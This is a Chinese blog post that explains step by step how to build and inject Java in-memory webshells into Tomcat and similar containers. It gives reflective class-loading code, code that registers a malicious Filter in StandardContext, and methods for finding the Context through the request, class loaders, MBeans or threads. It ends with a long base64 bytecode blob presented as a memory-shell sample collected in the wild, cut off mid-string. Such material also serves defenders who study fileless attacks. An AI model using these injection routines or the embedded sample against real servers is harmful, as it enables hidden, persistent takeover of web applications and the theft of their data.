内存马浅析

之前在jianshu上写了很多博客,但是安全相关的最近很多都被锁了。所以准备陆陆续续转到csdn来。内存马前几年一直是个很热门的漏洞攻击手段,因为相对于落地的木马,无文件攻击的内存马隐蔽性、持久性更强,适用的漏洞场景也更多。

Java内存马

最早的内存马是针对于Java的。常见的中间件无论Tomcat、Weblogic、Jboss、Jetty、Resin还是TongWeb都是Java Web容器,它们是遵循Java EE(现为 Jakarta EE)规范的服务器环境,专门用于运行Java Web应用程序。遵循Java EE规范的包含三大组件:Servlet、Filter(过滤器)、Listener(监听器)。简单来说就是一般用Java语言开发的Web应用程序都运行在Java Web容器上,而容器本身包含这三大组件。

由于三大组件是Java Web容器内置的,如果它们具有恶意的代码就和木马有着同样的作用。远程访问木马往往需要能执行各类的操作,例如打开文件、删除数据等。所以恶意代码中就需要包含能执行操作系统命令的功能。当Java Web容器启动时,Java Web容器会加载Servlet实现类到JVM中,即存在于内存中。恶意代码在jsp中的就叫做jsp木马,而存在于内存中的就叫做内存马。

如何制作内存马

那么内存马攻击的流程就是将制作的恶意Servlet、Filter或Servlet注入到内存中,然后模拟Java Web容器对它的加载过程。核心就是三步:(1)制作恶意的Listener、Filter或Servlet (2)注入到内存 (3)根据不同的Java Web容器对三者的加载进行模拟。


步骤1——制作恶意的Listener、Filter或Servlet
也就是新建一个类实现Listener、Filter或Servlet接口,重写其中的方法。这里需要注意的是Listener。Servlet的作用域包括:`ServletContext、HttpSession、HttpServletRequest`,对Http请求进行监听是更为通用的做法,也就是选取`HttpServletRequest`对应的监听器更容易利用,即`ServletRequestListener`接口。

public class MyListener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {// 恶意代码}   
}public class MyFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {// 恶意代码}@Overridepublic void destroy() {}
}public class MyServlet extends HttpServlet {public void init(ServletConfig servletConfig) throws ServletException {}public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {// 恶意代码}public void destroy() {}
}

步骤2——注入到内存
制作完上述的恶意Listener、Filter、Servlet实现类后,需要注入到内存中,通过类加载器进行。因为目标系统中并不存在这些实现类,所以没法new,那么就通过先将类转换成base64字符串,然后在注入内存前转换成class,来解决这个问题。

ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
String ServletBase64="yv66vg..." // Listener/Filter/Servlet类的base64字符串;
byte[] ServletClass = new BASE64Decoder().decodeBuffer(ServletBase64);
Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
Class servletClass = (Class) defineClass1.invoke(classLoader, ServletClass, 0, ServletClass.length);
Object servletObject=servletClass.newInstance();


步骤3——根据不同的中间件对三者的加载进行模拟
这一步是最难的。不同的中间件加载方式不同。中间件在初始化的过程中对web.xml中的内容进行解析,然后加载到`Context`这个共享变量空间去。这样全局都可以使用这些变量。不同的中间件对`Context`的实现类不同。例如,Tomcat对其的实现类叫做`StandardContext`,Weblogic对其的实现类叫`WebAppServletContext`...
(1)web.xml
web.xml也是Java Web规范,各类中间件通用,写法如下:

 <servlet><servlet-name>MyServlet</servlet-name><servlet-class>com.axisx.MyServlet</servlet-class></servlet><servlet-mapping><servlet-name>MyServlet</servlet-name><url-pattern>/servlet</url-pattern></servlet-mapping><filter><filter-name>MyFilter</filter-name><filter-class>com.axisx.MyFilter</filter-class></filter><filter-mapping><filter-name>MyFilter</filter-name><url-pattern>/filter</url-pattern> //当访问`/filter`路由时会先被MyFilter拦截,调用MyFilter类的doFilter方法</filter-mapping><listener><listener-class>com.axisx.MyListener</listener-class></listener>

上面提到Tomcat的共享变量空间叫做StandardContext,这个空间中要将三大组件加载进来从而全局可用。以Filter为例,看一下它的加载方法。

private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {//FilterDef:Filter定义的表示,代表<filter>标签中的内容FilterDef filterDef = this.context.findFilterDef(filterName); if (filterDef == null) {filterDef = new FilterDef();filterDef.setFilterName(filterName); //对应<filter-name>//StandardContext.addFilterDefthis.context.addFilterDef(filterDef); } ..if (filter == null) {filterDef.setFilterClass(filterClass);} else {filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter); // 对应<filter-class>}
}public boolean filterStart() {Iterator i$ = this.filterDefs.entrySet().iterator();while(i$.hasNext()) {ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); //将步骤a中的FilterDef放进来this.filterConfigs.put(name, filterConfig);  //将filterDef放入AppllicationFilterConfig.filterConfigs}
}public void addFilterMaps(FilterMaps filterMaps) {for(i$ = 0; i$ < len$; ++i$) {urlPattern = arr$[i$];fmap = new FilterMap(); //对应<filter-mapping>fmap.setFilterName(filterMaps.getFilterName()); //对应子标签<filter-name>fmap.setURLPattern(urlPattern); //对应子标签<url-patternfmap.setDispatcherTypes(filterMaps.getDispatcherTypes());this.addFilterMap(fmap);}
}

模拟加载过程,就是仿照上述代码对恶意Filter进行加载。

// 1 实现恶意Filter
Filter filter = new Filter() {. // init() 、 doFilter() 、 destory()方法重写
};// 2 定义FilterDef
String name="MyFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());// 3 创建ApplicationFilterConfig,FilterDef放入FilterConfig中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);// 4 定义FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);// 5 将filterConfig添加到filterConfigs、filterMap添加到filterMaps
filterConfigs.put(name,filterConfig);
standardContext.addFilterMap(filterMap);

但是为了保证通用性,上述代码需要全部用反射来改写。

如何获取Context

第三步中我们默认已经获取了Tomcat的StandardContext。但在实际应用的时候,Context也是需要手动获取的。但是每个中间件对于Context的实现类是全局唯一的,不能new。如何获取呢?

a. 通过request对象,但是有时候页面中获取不到request对象。

request.getSession().getServletContext();
request.getServletContext(); // Tomcat7及以上

b. 通过类加载器,找到Context对应的类加载器

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取当前线程上下文类加载器ParallelWebappClassLoader,是webappClassLoaderBase的子类
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

c. 通过Java特性,例如MBean。Tomcat获取MBean可以看之前的文章:Tomcat获取MBean - 简书
这里补充一下Weblogic获取MBean。Weblogic中有个类weblogic.t3.srvr.ServerRuntime,用于运行时管理,它采用单例模式设计,只有一个对象能够被外界访问,通过theOne方法可以获取。该类的children中有很多MBean的实现类,通过其中的ApplicationRuntimeMBeanImpl获取Context示例如下。

   

d. 通过线程。这也是最为常用的方式。以Tomcat为例,架构如下。

连接器是用来接收请求的。Thread.currentThread().getThreadGroup();看到当前线程如下, 会发现有一个是走的Acceptor。

按照Tomcat架构的逻辑逐层寻找,最终能找到StandardContext。

这种通过线程查找Context的方法并不唯一。因为a.中提到可以从request中获取Context。那么也就可以先从Thread中找到request,然后用request找到Context

然后获取Context就写成了如下的反射代码

ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
Field field=threadGroup.getClass().getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads=(Thread[])field.get(threadGroup);
for (Thread thread : threads) {if(thread.getName().contains("Acceptor")&&thread.getName().contains("http")){Field tfield=thread.getClass().getDeclaredField("target");tfield.setAccessible(true);Object NioEndpoint$=tfield.get(thread);...}
}

最后,将上述内容连起来,制作一个恶意的Listener、Filter或者Servlet,注入到内存中。然后通过线程等方式获取到Context。利用Context中的方法将注入到内容中的内容进行加载,就完成了一个Java内存马的制作。

在野样本分析

补充一下,之前网上流传的一串野生Resin Filter

String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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